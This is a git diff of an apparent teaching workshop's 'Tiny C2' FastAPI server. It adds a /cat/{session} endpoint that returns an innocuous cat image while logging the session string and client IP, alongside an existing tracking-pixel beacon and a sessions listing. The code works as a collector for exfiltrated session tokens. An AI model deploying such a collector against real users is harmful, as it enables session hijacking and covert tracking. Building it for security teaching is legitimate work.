diff --git a/c2.service b/c2.service index 7aace1b..79422ac 100644 --- a/c2.service +++ b/c2.service @@ -4,9 +4,8 @@ After=network.target [Service] Type=simple -WorkingDirectory=/home/kemp/ins/teaching/workshop-c-and-c-server -# Run the requested command. This uses /usr/bin/env to locate `uv` in PATH. -ExecStart=/usr/bin/env uv run main.py +WorkingDirectory=/root/workshop-c-and-c +ExecStart=/usr/bin/python3 main.py # Ensure common system paths are available when using /usr/bin/env Environment=PATH=/usr/local/bin:/usr/bin:/bin Environment=PYTHONUNBUFFERED=1 diff --git a/cat.jpg b/cat.jpg new file mode 100644 index 0000000..188fedb Binary files /dev/null and b/cat.jpg differ diff --git a/main.py b/main.py index 22e3e84..5fc089a 100644 --- a/main.py +++ b/main.py @@ -1,10 +1,12 @@ -from fastapi import FastAPI, Request, Response -from fastapi.responses import HTMLResponse +import base64 import threading from datetime import datetime -import base64 +from pathlib import Path +from typing import Dict, List + import uvicorn -from typing import List, Dict +from fastapi import FastAPI, Request, Response +from fastapi.responses import FileResponse, HTMLResponse app = FastAPI(title="Tiny C2 (Workshop)") @@ -16,6 +18,7 @@ _lock = threading.Lock() # A 1x1 transparent PNG (base64) used as a static beacon image. _1x1_png_b64 = "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mP8z/C/HgAGgwJ/lK3Q6wAAAABJRU5ErkJggg==" _IMAGE_BYTES = base64.b64decode(_1x1_png_b64) +_CAT_PATH = Path(__file__).resolve().parent / "cat.jpg" def _record_session(value: str, ip: str) -> None: @@ -50,6 +53,24 @@ async def beacon(session: str, request: Request): return Response(content=_IMAGE_BYTES, media_type="image/png", headers=headers) +@app.get("/cat/{session}", response_class=Response) +async def cat_image(session: str, request: Request): + """ + Serves the local cat.jpg file as a static image. + """ + client_ip = request.client.host if request.client else "unknown" + # session is provided by the URL path; FastAPI will have decoded percent-encoding + if session: + _record_session(session, client_ip) + + headers = { + "Cache-Control": "no-cache, no-store, must-revalidate", + "Pragma": "no-cache", + "Expires": "0", + } + return FileResponse(_CAT_PATH, media_type="image/jpeg", headers=headers) + + @app.get("/sessions", response_class=HTMLResponse) async def sessions_list(): """